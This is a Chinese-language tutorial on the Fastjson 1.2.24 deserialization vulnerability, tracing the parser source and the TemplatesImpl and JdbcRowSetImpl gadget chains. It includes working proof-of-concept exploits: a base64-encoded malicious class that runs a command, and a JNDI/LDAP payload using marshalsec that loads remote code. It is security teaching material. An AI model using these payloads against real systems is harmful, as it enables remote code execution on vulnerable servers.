从0到1的fastjson的反序列化漏洞分析
FastJson 是一个由阿里巴巴研发的java库,可以把java对象转换为JSON格式,也可以把JSON字符串转换为对象 环境搭建 导入依赖 <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactI
FastJson 是一个由阿里巴巴研发的java库,可以把java对象转换为JSON格式,也可以把JSON字符串转换为对象
环境搭建
导入依赖
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
FastJson的简单使用
新建一个简单的pojo类
package com.liang.pojo;
public class User {
private String name;
private int id;
public User(){
System.out.println("无参构造");
}
public User(String name, int id) {
System.out.println("有参构造");
this.name = name;
this.id = id;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", id=" + id +
'}';
}
public String getName() {
System.out.print("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getId() {
System.out.println("getId");
return id;
}
public void setId(int id) {
System.out.println("setId");
this.id = id;
}
}
关于Fastjson的使用,使用JSON的toJSONString方法 可以将对象转换为字符串
public class FastjsonTest {
public static void main(String[] args) {
User user = new User("lihua",3);
String json = JSON.toJSONString(user);
System.out.println(json);
}
}

但是这里转化的字符串只有属性的值,无法区分是哪个类进行了序列化转化的字符串,这里就有了在JSON.toJSONString的第二个参数SerializerFeature.WriteClassName写下这个类的名字

@type关键字标识的是这个字符串是由某个类序列化而来。
传入
SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。
关于fastjson的反序列化
package com.liang;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.liang.pojo.User;
import java.lang.reflect.Type;
public class FastjsonTest {
public static void main(String[] args) {
String json = "{\"@type\":\"com.liang.pojo.User\",\"id\":3,\"name\":\"lihua\"}";
String json2 = "{\"id\":3,\"name\":\"lihua\"}";
System.out.println(JSON.parseObject(json));
System.out.println(JSON.parseObject(json,User.class));
System.out.println(JSON.parseObject(json2, User.class));
System.out.println(JSON.parseObject(json2));
System.out.println(JSON.parse(json2));
System.out.println(JSON.parse(json));
// User user = new User("lihua",3);
// String json = JSON.toJSONString(user,SerializerFeature.WriteClassName);
// System.out.println(json);
}
}

通过这个demo可以看出
在使用JSON.parseObject方法的时候只有在第二个参数指定是哪个类 才会反序列化成功。在字符串中使用@type:com.liang.pojo.User指定类 会调用此类的get和set方法 但是会转化为JSONObject对象。
而使用JSON.parse方法 无法在第二个参数中指定某个反序列化的类,它识别的是@type后指定的类
而且可以看到 凡是反序列化成功的都调用了set方法
反序列化漏洞
@type 指定类
使用JSON.parse方法反序列化会调用此类的set方法
使用JSON.parseObject方法反序列化会调用此类get和set方法
可以写一个恶意类,然后通过这一特性实现命令执行
package com.liang.pojo;
import java.io.IOException;
public class User {
private String name;
private int id;
public User(){
System.out.println("无参构造");
}
public User(String name, int id) {
System.out.println("有参构造");
this.name = name;
this.id = id;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", id=" + id +
'}';
}
public String getName() {
System.out.print("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getId() {
System.out.println("getId");
return id;
}
public void setId(int id) throws IOException {
System.out.println("setId");
this.id = id;
Runtime.getRuntime().exec("calc.exe");
}
}
public class FastjsonTest {
public static void main(String[] args) {
String json = "{\"@type\":\"com.liang.pojo.User\",\"id\":3,\"name\":\"lihua\"}";
System.out.println(JSON.parse(json));

TemplatesImpl 链子
POC
//EvilCalss.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilClass extends AbstractTranslet {
public EvilClass() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException{
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{
}
public static void main(String[] args) throws Exception{
EvilClass evilClass = new EvilClass();
}
}
将其编译为字节码文件
package test;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;
public class HelloWorld {
public static void main(String args[]) {
byte[] buffer = null;
String filepath = ".\\src\\main\\java\\test\\EvilClass.class";
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
System.out.println(value);
}
}
得到
yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEACUV2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAKAAQACwANAAwADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFAAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAFwAIABgADAAAAAQAAQAUAAEAFQAAAAIAFg
poc
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class POC1 {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEACUV2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAKAAQACwANAAwADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFAAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAFwAIABgADAAAAAQAAQAUAAEAFQAAAAIAFg\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
前置问答
Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField在parseObject中才能触发;
动态加载字节码分析
首先分析后半部分 即TemplatesImpl中的链子
由上文我们知道 ,fastjson使用JSON.parseObject方法反序列化会调用get 和set方法
在TemplatesImpl中属性的get和set方法中
getOutputProperties方法调用了newTransformer方法

在newTransformer中调用了getTransletInstance方法

这里需要调用到defineTransletClasses所以需要使_name!=null,_class == null

在defineTransletClasses中 重写了defineClass方法 对_bytecodes中的恶意代码进行加载

这部分其实就是CC4 的后半部分
parseObject起步
然后正向分析 从JSON.parseObject起步
可以看到,本质上 parseObject方法也是调用了parse方法,只是强转了一下对象的类型

这里返回的parse的重载方法

跟进发现新建了一个DefaultJSONParser对象

跟进这个this

判断第一个字符是不是{如果是,就把token设置为12 ,不是就是14

出来之后跟进parse方法

由于原来token设置的是LBRACE也就是12 所以直接走case LBRACE

析出key
调用parseObject方法 取出key 也就是@type


然后调用loadClass把恶意类加载到clazz中 这里跟进loadClass
把键值className添加到clazz中

再之后在DefaultJSONParser类中


build方法 通过反射加载clazz中的所有方法 位置com.alibaba.fastjson.util.JavaBeanInfo

在build方法中 查找set 和get


这里筛选和查找出了get和set方法 这里就可以获取到TemplatesImpl的getOutputProperties()方法
关于base64编码
com.alibaba.fastjson.parser.DefaultJSONParser的parseObject方法


JdbcRowSetImpl链子
com.sun.rowset.JdbcRowSetImpl中的dataSourceName属性 寻找他的set方法

跟进setDataSourceName

这里就是把传进去的值赋给dataSource
这里再看autoCommit,需要传入一个布尔类型的参数

判断conn是否为空 不然就赋值 跟进connect方法

lookup(getDataSourceName()) lookup函数链接我们写入的服务 加载我们的恶意类
构造恶意类
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;
public class Exploit implements ObjectFactory, Serializable {
public Exploit(){
try{
Runtime.getRuntime().exec("calc.exe");
}catch (IOException e){
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit exploit = new Exploit();
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
把恶意类通过javac进行编译 编译为class文件
在当前目录起一个python的web服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://127.0.0.1:9000/#Exp](http://127.0.0.1:9000/#Exp) 1099起一个ladp服务
payload:
public class FastjsonTest {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/#Exp\", \"autoCommit\":false}";
JSON.parse(payload);
}
}
参考
https://www.cnblogs.com/nice0e3/p/14601670.html
https://www.yuque.com/m0re/demosec/xf1pd2